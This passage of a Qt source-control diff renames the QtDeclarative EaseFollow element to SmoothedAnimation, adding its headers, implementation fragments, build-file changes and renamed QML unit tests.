1; i >= 0 ; --i) { + if (!anims.contains(d->wrapperGroup->animationAt(i))) { + QSmoothedAnimation *ease = static_cast(d->wrapperGroup->animationAt(i)); + d->activeAnimations.remove(ease->target); + d->wrapperGroup->takeAnimation(i); + delete ease; + } + } +} + +/*! + \qmlproperty enumeration SmoothedAnimation::reversingMode + + Sets how the SmoothedAnimation behaves if an animation direction is reversed. + + If reversing mode is \c Eased, the animation will smoothly decelerate, and + then reverse direction. If the reversing mode is \c Immediate, the + animation will immediately begin accelerating in the reverse direction, + begining with a velocity of 0. If the reversing mode is \c Sync, the + property is immediately set to the target value. +*/ +QDeclarativeSmoothedAnimation::ReversingMode QDeclarativeSmoothedAnimation::reversingMode() const +{ + Q_D(const QDeclarativeSmoothedAnimation); + return (QDeclarativeSmoothedAnimation::ReversingMode) d->anim->reversingMode; +} + +void QDeclarativeSmoothedAnimation::setReversingMode(ReversingMode m) +{ + Q_D(QDeclarativeSmoothedAnimation); + if (d->anim->reversingMode == m) + return; + + d->anim->reversingMode = m; + emit reversingModeChanged(); +} + +/*! + \qmlproperty int SmoothedAnimation::duration + + This property holds the animation duration, in msecs, used when tracking the source. + + Setting this to -1 (the default) disables the duration value. +*/ +int QDeclarativeSmoothedAnimation::duration() const +{ + Q_D(const QDeclarativeSmoothedAnimation); + return d->anim->userDuration; +} + +void QDeclarativeSmoothedAnimation::setDuration(int duration) +{ + Q_D(QDeclarativeSmoothedAnimation); + if (duration != -1) + QDeclarativeNumberAnimation::setDuration(duration); + d->anim->userDuration = duration; +} + +qreal QDeclarativeSmoothedAnimation::velocity() const +{ + Q_D(const QDeclarativeSmoothedAnimation); + return d->anim->velocity; +} + +/*! + \qmlproperty qreal SmoothedAnimation::velocity + + This property holds the average velocity allowed when tracking the 'to' value. + + The default velocity of SmoothedAnimation is 200 units/second. + + Setting this to -1 disables the velocity value. +*/ +void QDeclarativeSmoothedAnimation::setVelocity(qreal v) +{ + Q_D(QDeclarativeSmoothedAnimation); + if (d->anim->velocity == v) + return; + + d->anim->velocity = v; + emit velocityChanged(); +} + +/*! +\qmlproperty qreal SmoothedAnimation::maximumEasingTime + +This property specifies the maximum time, in msecs, an "eases" during the follow should take. +Setting this property causes the velocity to "level out" after at a time. Setting +a negative value reverts to the normal mode of easing over the entire animation +duration. + +The default value is -1. +*/ +int QDeclarativeSmoothedAnimation::maximumEasingTime() const +{ + Q_D(const QDeclarativeSmoothedAnimation); + return d->anim->maximumEasingTime; +} + +void QDeclarativeSmoothedAnimation::setMaximumEasingTime(int v) +{ + Q_D(QDeclarativeSmoothedAnimation); + d->anim->maximumEasingTime = v; + emit maximumEasingTimeChanged(); +} + +QT_END_NAMESPACE diff --git a/src/declarative/util/qdeclarativesmoothedanimation_p.h b/src/declarative/util/qdeclarativesmoothedanimation_p.h new file mode 100644 index 0000000..50ed00c --- /dev/null +++ b/src/declarative/util/qdeclarativesmoothedanimation_p.h @@ -0,0 +1,104 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtDeclarative module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#ifndef QDECLARATIVESMOOTHEDANIMATION_H +#define QDECLARATIVESMOOTHEDANIMATION_H + +#include +#include "qdeclarativeanimation_p.h" + +#include + +QT_BEGIN_HEADER + +QT_BEGIN_NAMESPACE + +QT_MODULE(Declarative) + +class QDeclarativeProperty; +class QDeclarativeSmoothedAnimationPrivate; +class Q_DECLARATIVE_EXPORT QDeclarativeSmoothedAnimation : public QDeclarativeNumberAnimation +{ + Q_OBJECT + Q_DECLARE_PRIVATE(QDeclarativeSmoothedAnimation) + Q_ENUMS(ReversingMode) + + Q_PROPERTY(qreal velocity READ velocity WRITE setVelocity NOTIFY velocityChanged) + Q_PROPERTY(ReversingMode reversingMode READ reversingMode WRITE setReversingMode NOTIFY reversingModeChanged) + Q_PROPERTY(qreal maximumEasingTime READ maximumEasingTime WRITE setMaximumEasingTime NOTIFY maximumEasingTimeChanged) + +public: + enum ReversingMode { Eased, Immediate, Sync }; + + QDeclarativeSmoothedAnimation(QObject *parent = 0); + ~QDeclarativeSmoothedAnimation(); + + ReversingMode reversingMode() const; + void setReversingMode(ReversingMode); + + virtual int duration() const; + virtual void setDuration(int); + + qreal velocity() const; + void setVelocity(qreal); + + int maximumEasingTime() const; + void setMaximumEasingTime(int); + +public: + virtual void transition(QDeclarativeStateActions &actions, + QDeclarativeProperties &modified, + TransitionDirection direction); + QAbstractAnimation* qtAnimation(); + +Q_SIGNALS: + void velocityChanged(); + void reversingModeChanged(); + void maximumEasingTimeChanged(); +}; + +QT_END_NAMESPACE + +QML_DECLARE_TYPE(QDeclarativeSmoothedAnimation); + +QT_END_HEADER + +#endif // QDECLARATIVESMOOTHEDANIMATION_H diff --git a/src/declarative/util/qdeclarativesmoothedanimation_p_p.h b/src/declarative/util/qdeclarativesmoothedanimation_p_p.h new file mode 100644 index 0000000..bdceeb3 --- /dev/null +++ b/src/declarative/util/qdeclarativesmoothedanimation_p_p.h @@ -0,0 +1,134 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtDeclarative module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#ifndef QDECLARATIVESMOOTHEDANIMATION_P_H +#define QDECLARATIVESMOOTHEDANIMATION_P_H + +// +// W A R N I N G +// ------------- +// +// This file is not part of the Qt API. It exists purely as an +// implementation detail. This header file may change from version to +// version without notice, or even be removed. +// +// We mean it. +// + +#include "qdeclarativesmoothedanimation_p.h" +#include "qdeclarativeanimation_p.h" + +#include "qdeclarativeanimation_p_p.h" + +#include + +#include +#include + +QT_BEGIN_NAMESPACE + +class QSmoothedAnimation : public QAbstractAnimation +{ +public: + QSmoothedAnimation(QObject *parent=0); + + qreal to; + qreal velocity; + int userDuration; + + int maximumEasingTime; + QDeclarativeSmoothedAnimation::ReversingMode reversingMode; + + qreal initialVelocity; + qreal trackVelocity; + + QDeclarativeProperty target; + + int duration() const; + void restart(); + void init(); + +protected: + virtual void updateCurrentTime(int); + virtual void updateState(QAbstractAnimation::State, QAbstractAnimation::State); + +private: + qreal easeFollow(qreal); + qreal initialValue; + + bool invert; + + int finalDuration; + + // Parameters for use in updateCurrentTime() + qreal a; // Acceleration + qreal d; // Deceleration + qreal tf; // Total time + qreal tp; // Time at which peak velocity occurs + qreal td; // Time at which decelleration begins + qreal vp; // Velocity at tp + qreal sp; // Displacement at tp + qreal sd; // Displacement at td + qreal vi; // "Normalized" initialvelocity + qreal s; // Total s + + int lastTime; + + bool recalc(); + void delayedStop(); + + QTimer delayedStopTimer; +}; + +class QDeclarativeSmoothedAnimationPrivate : public QDeclarativePropertyAnimationPrivate +{ + Q_DECLARE_PUBLIC(QDeclarativeSmoothedAnimation) +public: + QDeclarativeSmoothedAnimationPrivate(); + + QParallelAnimationGroup *wrapperGroup; + QSmoothedAnimation *anim; + QHash activeAnimations; +}; + +QT_END_NAMESPACE + +#endif // QDECLARATIVESMOOTHEDANIMATION_P_H diff --git a/src/declarative/util/qdeclarativeutilmodule.cpp b/src/declarative/util/qdeclarativeutilmodule.cpp index bf50a8b..7f2f64a 100644 --- a/src/declarative/util/qdeclarativeutilmodule.cpp +++ b/src/declarative/util/qdeclarativeutilmodule.cpp @@ -45,7 +45,7 @@ #include "qdeclarativebehavior_p.h" #include "qdeclarativebind_p.h" #include "qdeclarativeconnections_p.h" -#include "qdeclarativeeasefollow_p.h" +#include "qdeclarativesmoothedanimation_p.h" #include "qdeclarativefontloader_p.h" #include "qdeclarativelistaccessor_p.h" #include "qdeclarativelistmodel_p.h" diff --git a/src/declarative/util/util.pri b/src/declarative/util/util.pri index 249465a..4163596 100644 --- a/src/declarative/util/util.pri +++ b/src/declarative/util/util.pri @@ -8,7 +8,7 @@ SOURCES += \ $$PWD/qdeclarativeanimation.cpp \ $$PWD/qdeclarativesystempalette.cpp \ $$PWD/qdeclarativespringfollow.cpp \ - $$PWD/qdeclarativeeasefollow.cpp \ + $$PWD/qdeclarativesmoothedanimation.cpp \ $$PWD/qdeclarativestate.cpp\ $$PWD/qdeclarativetransitionmanager.cpp \ $$PWD/qdeclarativestateoperations.cpp \ @@ -37,8 +37,8 @@ HEADERS += \ $$PWD/qdeclarativeanimation_p_p.h \ $$PWD/qdeclarativesystempalette_p.h \ $$PWD/qdeclarativespringfollow_p.h \ - $$PWD/qdeclarativeeasefollow_p.h \ - $$PWD/qdeclarativeeasefollow_p_p.h \ + $$PWD/qdeclarativesmoothedanimation_p.h \ + $$PWD/qdeclarativesmoothedanimation_p_p.h \ $$PWD/qdeclarativestate_p.h\ $$PWD/qdeclarativestateoperations_p.h \ $$PWD/qdeclarativepropertychanges_p.h \ diff --git a/tests/auto/declarative/declarative.pro b/tests/auto/declarative/declarative.pro index 6c5a75f..bebc54e 100644 --- a/tests/auto/declarative/declarative.pro +++ b/tests/auto/declarative/declarative.pro @@ -13,7 +13,6 @@ SUBDIRS += \ qdeclarativedebugclient \ # Cover qdeclarativedebugservice \ # Cover qdeclarativedom \ # Cover - qdeclarativeeasefollow \ # Cover qdeclarativeecmascript \ # Cover qdeclarativeengine \ # Cover qdeclarativeerror \ # Cover @@ -47,6 +46,7 @@ SUBDIRS += \ qdeclarativepixmapcache \ # Cover qdeclarativepropertymap \ # Cover qdeclarativeqt \ # Cover + qdeclarativesmoothedanimation \ # Cover qdeclarativespringfollow \ # Cover qdeclarativestates \ # Cover qdeclarativesystempalette \ # Cover diff --git a/tests/auto/declarative/qdeclarativeeasefollow/data/easefollow1.qml b/tests/auto/declarative/qdeclarativeeasefollow/data/easefollow1.qml deleted file mode 100644 index cfece41..0000000 --- a/tests/auto/declarative/qdeclarativeeasefollow/data/easefollow1.qml +++ /dev/null @@ -1,3 +0,0 @@ -import Qt 4.6 - -SmoothedAnimation {} diff --git a/tests/auto/declarative/qdeclarativeeasefollow/data/easefollow2.qml b/tests/auto/declarative/qdeclarativeeasefollow/data/easefollow2.qml deleted file mode 100644 index 74a110d..0000000 --- a/tests/auto/declarative/qdeclarativeeasefollow/data/easefollow2.qml +++ /dev/null @@ -1,5 +0,0 @@ -import Qt 4.6 - -SmoothedAnimation { - to: 10; duration: 300; reversingMode: SmoothedAnimation.Immediate -} diff --git a/tests/auto/declarative/qdeclarativeeasefollow/data/easefollow3.qml b/tests/auto/declarative/qdeclarativeeasefollow/data/easefollow3.qml deleted file mode 100644 index 3111e82..0000000 --- a/tests/auto/declarative/qdeclarativeeasefollow/data/easefollow3.qml +++ /dev/null @@ -1,6 +0,0 @@ -import Qt 4.6 - -SmoothedAnimation { - to: 10; velocity: 250; reversingMode: SmoothedAnimation.Sync - maximumEasingTime: 150 -} diff --git a/tests/auto/declarative/qdeclarativeeasefollow/data/easefollowBehavior.qml b/tests/auto/declarative/qdeclarativeeasefollow/data/easefollowBehavior.qml deleted file mode 100644 index eb06344..0000000 --- a/tests/auto/declarative/qdeclarativeeasefollow/data/easefollowBehavior.qml +++ /dev/null @@ -1,23 +0,0 @@ -import Qt 4.6 - -Rectangle { - width: 400; height: 400; color: "blue" - - Rectangle { - id: rect1 - color: "red" - width: 60; height: 60; - x: 100; y: 100; - SmoothedAnimation on x { to: 200; velocity: 500 } - SmoothedAnimation on y { to: 200; velocity: 500 } - } - - Rectangle { - objectName: "theRect" - color: "green" - width: 60; height: 60; - x: rect1.x; y: rect1.y; - Behavior on x { SmoothedAnimation { objectName: "easeX"; velocity: 400 } } - Behavior on y { SmoothedAnimation { objectName: "easeY"; velocity: 400 } } - } - } diff --git a/tests/auto/declarative/qdeclarativeeasefollow/data/easefollowValueSource.qml b/tests/auto/declarative/qdeclarativeeasefollow/data/easefollowValueSource.qml deleted file mode 100644 index 9ae744c..0000000 --- a/tests/auto/declarative/qdeclarativeeasefollow/data/easefollowValueSource.qml +++ /dev/null @@ -1,13 +0,0 @@ -import Qt 4.6 - -Rectangle { - width: 300; height: 300; - Rectangle { - objectName: "theRect" - color: "red" - width: 60; height: 60; - x: 100; y: 100; - SmoothedAnimation on x { objectName: "easeX"; to: 200; velocity: 500 } - SmoothedAnimation on y { objectName: "easeY"; to: 200; duration: 250; velocity: 500 } - } -} diff --git a/tests/auto/declarative/qdeclarativeeasefollow/qdeclarativeeasefollow.pro b/tests/auto/declarative/qdeclarativeeasefollow/qdeclarativeeasefollow.pro deleted file mode 100644 index 71df4f4..0000000 --- a/tests/auto/declarative/qdeclarativeeasefollow/qdeclarativeeasefollow.pro +++ /dev/null @@ -1,8 +0,0 @@ -load(qttest_p4) -contains(QT_CONFIG,declarative): QT += declarative gui -macx:CONFIG -= app_bundle - -SOURCES += tst_qdeclarativeeasefollow.cpp - -# Define SRCDIR equal to test's source directory -DEFINES += SRCDIR=\\\"$$PWD\\\" diff --git a/tests/auto/declarative/qdeclarativeeasefollow/tst_qdeclarativeeasefollow.cpp b/tests/auto/declarative/qdeclarativeeasefollow/tst_qdeclarativeeasefollow.cpp deleted file mode 100644 index 401688b..0000000 --- a/tests/auto/declarative/qdeclarativeeasefollow/tst_qdeclarativeeasefollow.cpp +++ /dev/null @@ -1,207 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the test suite of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include -#include -#include -#include -#include -#include -#include "../../../shared/util.h" - -class tst_qdeclarativeeasefollow : public QObject -{ - Q_OBJECT -public: - tst_qdeclarativeeasefollow(); - -private slots: - void defaultValues(); - void values(); - void disabled(); - void simpleAnimation(); - void valueSource(); - void behavior(); - -private: - QDeclarativeEngine engine; -}; - -tst_qdeclarativeeasefollow::tst_qdeclarativeeasefollow() -{ -} - -void tst_qdeclarativeeasefollow::defaultValues() -{ - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/easefollow1.qml")); - QDeclarativeSmoothedAnimation *obj = qobject_cast(c.create()); - - QVERIFY(obj != 0); - - QCOMPARE(obj->to(), 0.); - QCOMPARE(obj->velocity(), 200.); - QCOMPARE(obj->duration(), -1); - QCOMPARE(obj->maximumEasingTime(), -1); - QCOMPARE(obj->reversingMode(), QDeclarativeSmoothedAnimation::Eased); - - delete obj; -} - -void tst_qdeclarativeeasefollow::values() -{ - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/easefollow2.qml")); - QDeclarativeSmoothedAnimation *obj = qobject_cast(c.create()); - - QVERIFY(obj != 0); - - QCOMPARE(obj->to(), 10.); - QCOMPARE(obj->velocity(), 200.); - QCOMPARE(obj->duration(), 300); - QCOMPARE(obj->maximumEasingTime(), -1); - QCOMPARE(obj->reversingMode(), QDeclarativeSmoothedAnimation::Immediate); - - delete obj; -} - -void tst_qdeclarativeeasefollow::disabled() -{ - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/easefollow3.qml")); - QDeclarativeSmoothedAnimation *obj = qobject_cast(c.create()); - - QVERIFY(obj != 0); - - QCOMPARE(obj->to(), 10.); - QCOMPARE(obj->velocity(), 250.); - QCOMPARE(obj->maximumEasingTime(), 150); - QCOMPARE(obj->reversingMode(), QDeclarativeSmoothedAnimation::Sync); - - delete obj; -} - -void tst_qdeclarativeeasefollow::simpleAnimation() -{ - QDeclarativeRectangle rect; - QDeclarativeSmoothedAnimation animation; - animation.setTarget(&rect); - animation.setProperty("x"); - animation.setTo(200); - animation.setDuration(250); - QVERIFY(animation.target() == &rect); - QVERIFY(animation.property() == "x"); - QVERIFY(animation.to() == 200); - animation.start(); - QVERIFY(animation.isRunning()); - QTest::qWait(animation.duration()); - QTRY_COMPARE(rect.x(), qreal(200)); - - rect.setX(0); - animation.start(); - animation.pause(); - QVERIFY(animation.isRunning()); - QVERIFY(animation.isPaused()); - animation.setCurrentTime(125); - QVERIFY(animation.currentTime() == 125); - QCOMPARE(rect.x(), qreal(100)); -} - -void tst_qdeclarativeeasefollow::valueSource() -{ - QDeclarativeEngine engine; - - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/easefollowValueSource.qml")); - - QDeclarativeRectangle *rect = qobject_cast(c.create()); - QVERIFY(rect); - - QDeclarativeRectangle *theRect = rect->findChild("theRect"); - QVERIFY(theRect); - - QDeclarativeSmoothedAnimation *easeX = rect->findChild("easeX"); - QVERIFY(easeX); - QVERIFY(easeX->isRunning()); - - QDeclarativeSmoothedAnimation *easeY = rect->findChild("easeY"); - QVERIFY(easeY); - QVERIFY(easeY->isRunning()); - - // XXX get the proper duration - QTest::qWait(100); - - QTRY_VERIFY(!easeX->isRunning()); - QTRY_VERIFY(!easeY->isRunning()); - - QTRY_COMPARE(theRect->x(), qreal(200)); - QTRY_COMPARE(theRect->y(), qreal(200)); -} - -void tst_qdeclarativeeasefollow::behavior() -{ - QDeclarativeEngine engine; - - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/easefollowBehavior.qml")); - - QDeclarativeRectangle *rect = qobject_cast(c.create()); - QVERIFY(rect); - - QDeclarativeRectangle *theRect = rect->findChild("theRect"); - QVERIFY(theRect); - - QDeclarativeSmoothedAnimation *easeX = rect->findChild("easeX"); - QVERIFY(easeX); - - QDeclarativeSmoothedAnimation *easeY = rect->findChild("easeY"); - QVERIFY(easeY); - - // XXX get the proper duration - QTest::qWait(400); - - QTRY_VERIFY(!easeX->isRunning()); - QTRY_VERIFY(!easeY->isRunning()); - - QTRY_COMPARE(theRect->x(), qreal(200)); - QTRY_COMPARE(theRect->y(), qreal(200)); -} - -QTEST_MAIN(tst_qdeclarativeeasefollow) - -#include "tst_qdeclarativeeasefollow.moc" diff --git a/tests/auto/declarative/qdeclarativesmoothedanimation/data/smoothedanimation1.qml b/tests/auto/declarative/qdeclarativesmoothedanimation/data/smoothedanimation1.qml new file mode 100644 index 0000000..cfece41 --- /dev/null +++ b/tests/auto/declarative/qdeclarativesmoothedanimation/data/smoothedanimation1.qml @@ -0,0 +1,3 @@ +import Qt 4.6 + +SmoothedAnimation {} diff --git a/tests/auto/declarative/qdeclarativesmoothedanimation/data/smoothedanimation2.qml b/tests/auto/declarative/qdeclarativesmoothedanimation/data/smoothedanimation2.qml new file mode 100644 index 0000000..74a110d --- /dev/null +++ b/tests/auto/declarative/qdeclarativesmoothedanimation/data/smoothedanimation2.qml @@ -0,0 +1,5 @@ +import Qt 4.6 + +SmoothedAnimation { + to: 10; duration: 300; reversingMode: SmoothedAnimation.Immediate +} diff --git a/tests/auto/declarative/qdeclarativesmoothedanimation/data/smoothedanimation3.qml b/tests/auto/declarative/qdeclarativesmoothedanimation/data/smoothedanimation3.qml new file mode 100644 index 0000000..3111e82 --- /dev/null +++ b/tests/auto/declarative/qdeclarativesmoothedanimation/data/smoothedanimation3.qml @@ -0,0 +1,6 @@ +import Qt 4.6 + +SmoothedAnimation { + to: 10; velocity: 250; reversingMode: SmoothedAnimation.Sync + maximumEasingTime: 150 +} diff --git a/tests/auto/declarative/qdeclarativesmoothedanimation/data/smoothedanimationBehavior.qml b/tests/auto/declarative/qdeclarativesmoothedanimation/data/smoothedanimationBehavior.qml new file mode 100644 index 0000000..eb06344 --- /dev/null +++ b/tests/auto/declarative/qdeclarativesmoothedanimation/data/smoothedanimationBehavior.qml @@ -0,0 +1,23 @@ +import Qt 4.6 + +Rectangle { + width: 400; height: 400; color: "blue" + + Rectangle { + id: rect1 + color: "red" + width: 60; height: 60; + x: 100; y: 100; + SmoothedAnimation on x { to: 200; velocity: 500 } + SmoothedAnimation on y { to: 200; velocity: 500 } + } + + Rectangle { + objectName: "theRect" + color: "green" + width: 60; height: 60; + x: rect1.x; y: rect1.y; + Behavior on x { SmoothedAnimation { objectName: "easeX"; velocity: 400 } } + Behavior on y { SmoothedAnimation { objectName: "easeY"; velocity: 400 } } + } + } diff --git a/tests/auto/declarative/qdeclarativesmoothedanimation/data/smoothedanimationValueSource.qml b/tests/auto/declarative/qdeclarativesmoothedanimation/data/smoothedanimationValueSource.qml new file mode 100644 index 0000000..9ae744c --- /dev/null +++ b/tests/auto/declarative/qdeclarativesmoothedanimation/data/smoothedanimationValueSource.qml @@ -0,0 +1,13 @@ +import Qt 4.6 + +Rectangle { + width: 300; height: 300; + Rectangle { + objectName: "theRect" + color: "red" + width: 60; height: 60; + x: 100; y: 100; + SmoothedAnimation on x { objectName: "easeX"; to: 200; velocity: 500 } + SmoothedAnimation on y { objectName: "easeY"; to: 200; duration: 250; velocity: 500 } + } +} diff --git a/tests/auto/declarative/qdeclarativesmoothedanimation/qdeclarativesmoothedanimation.pro b/tests/auto/declarative/qdeclarativesmoothedanimation/qdeclarativesmoothedanimation.pro new file mode 100644 index 0000000..b41b23a --- /dev/null +++ b/tests/auto/declarative/qdeclarativesmoothedanimation/qdeclarativesmoothedanimation.pro @@ -0,0 +1,8 @@ +load(qttest_p4) +contains(QT_CONFIG,declarative): QT += declarative gui +macx:CONFIG -= app_bundle + +SOURCES += tst_qdeclarativesmoothedanimation.cpp + +# Define SRCDIR equal to test's source directory +DEFINES += SRCDIR=\\\"$$PWD\\\" diff --git a/tests/auto/declarative/qdeclarativesmoothedanimation/tst_qdeclarativesmoothedanimation.cpp b/tests/auto/declarative/qdeclarativesmoothedanimation/tst_qdeclarativesmoothedanimation.cpp new file mode 100644 index 0000000..7cf318a --- /dev/null +++ b/tests/auto/declarative/qdeclarativesmoothedanimation/tst_qdeclarativesmoothedanimation.cpp @@ -0,0 +1,207 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the test suite of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +#include +#include +#include +#include +#include +#include +#include "../../../shared/util.h" + +class tst_qdeclarativesmoothedanimation : public QObject +{ + Q_OBJECT +public: + tst_qdeclarativesmoothedanimation(); + +private slots: + void defaultValues(); + void values(); + void disabled(); + void simpleAnimation(); + void valueSource(); + void behavior(); + +private: + QDeclarativeEngine engine; +}; + +tst_qdeclarativesmoothedanimation::tst_qdeclarativesmoothedanimation() +{ +} + +void tst_qdeclarativesmoothedanimation::defaultValues() +{ + QDeclarativeEngine engine; + QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/smoothedanimation1.qml")); + QDeclarativeSmoothedAnimation *obj = qobject_cast(c.create()); + + QVERIFY(obj != 0); + + QCOMPARE(obj->to(), 0.); + QCOMPARE(obj->velocity(), 200.); + QCOMPARE(obj->duration(), -1); + QCOMPARE(obj->maximumEasingTime(), -1); + QCOMPARE(obj->reversingMode(), QDeclarativeSmoothedAnimation::Eased); + + delete obj; +} + +void tst_qdeclarativesmoothedanimation::values() +{ + QDeclarativeEngine engine; + QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/smoothedanimation2.qml")); + QDeclarativeSmoothedAnimation *obj = qobject_cast(c.create()); + + QVERIFY(obj != 0); + + QCOMPARE(obj->to(), 10.); + QCOMPARE(obj->velocity(), 200.); + QCOMPARE(obj->duration(), 300); + QCOMPARE(obj->maximumEasingTime(), -1); + QCOMPARE(obj->reversingMode(), QDeclarativeSmoothedAnimation::Immediate); + + delete obj; +} + +void tst_qdeclarativesmoothedanimation::disabled() +{ + QDeclarativeEngine engine; + QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/smoothedanimation3.qml")); + QDeclarativeSmoothedAnimation *obj = qobject_cast(c.create()); + + QVERIFY(obj != 0); + + QCOMPARE(obj->to(), 10.); + QCOMPARE(obj->velocity(), 250.); + QCOMPARE(obj->maximumEasingTime(), 150); + QCOMPARE(obj->reversingMode(), QDeclarativeSmoothedAnimation::Sync); + + delete obj; +} + +void tst_qdeclarativesmoothedanimation::simpleAnimation() +{ + QDeclarativeRectangle rect; + QDeclarativeSmoothedAnimation animation; + animation.setTarget(&rect); + animation.setProperty("x"); + animation.setTo(200); + animation.setDuration(250); + QVERIFY(animation.target() == &rect); + QVERIFY(animation.property() == "x"); + QVERIFY(animation.to() == 200); + animation.start(); + QVERIFY(animation.isRunning()); + QTest::qWait(animation.duration()); + QTRY_COMPARE(rect.x(), qreal(200)); + + rect.setX(0); + animation.start(); + animation.pause(); + QVERIFY(animation.isRunning()); + QVERIFY(animation.isPaused()); + animation.setCurrentTime(125); + QVERIFY(animation.currentTime() == 125); + QCOMPARE(rect.x(), qreal(100)); +} + +void tst_qdeclarativesmoothedanimation::valueSource() +{ + QDeclarativeEngine engine; + + QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/smoothedanimationValueSource.qml")); + + QDeclarativeRectangle *rect = qobject_cast(c.create()); + QVERIFY(rect); + + QDeclarativeRectangle *theRect = rect->findChild("theRect"); + QVERIFY(theRect); + + QDeclarativeSmoothedAnimation *easeX = rect->findChild("easeX"); + QVERIFY(easeX); + QVERIFY(easeX->isRunning()); + + QDeclarativeSmoothedAnimation *easeY = rect->findChild("easeY"); + QVERIFY(easeY); + QVERIFY(easeY->isRunning()); + + // XXX get the proper duration + QTest::qWait(100); + + QTRY_VERIFY(!easeX->isRunning()); + QTRY_VERIFY(!easeY->isRunning()); + + QTRY_COMPARE(theRect->x(), qreal(200)); + QTRY_COMPARE(theRect->y(), qreal(200)); +} + +void tst_qdeclarativesmoothedanimation::behavior() +{ + QDeclarativeEngine engine; + + QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/smoothedanimationBehavior.qml")); + + QDeclarativeRectangle *rect = qobject_cast(c.create()); + QVERIFY(rect); + + QDeclarativeRectangle *theRect = rect->findChild("theRect"); + QVERIFY(theRect); + + QDeclarativeSmoothedAnimation *easeX = rect->findChild("easeX"); + QVERIFY(easeX); + + QDeclarativeSmoothedAnimation *easeY = rect->findChild("easeY"); + QVERIFY(easeY); + + // XXX get the proper duration + QTest::qWait(400); + + QTRY_VERIFY(!easeX->isRunning()); + QTRY_VERIFY(!easeY->isRunning()); + + QTRY_COMPARE(theRect->x(), qreal(200)); + QTRY_COMPARE(theRect->y(), qreal(200)); +} 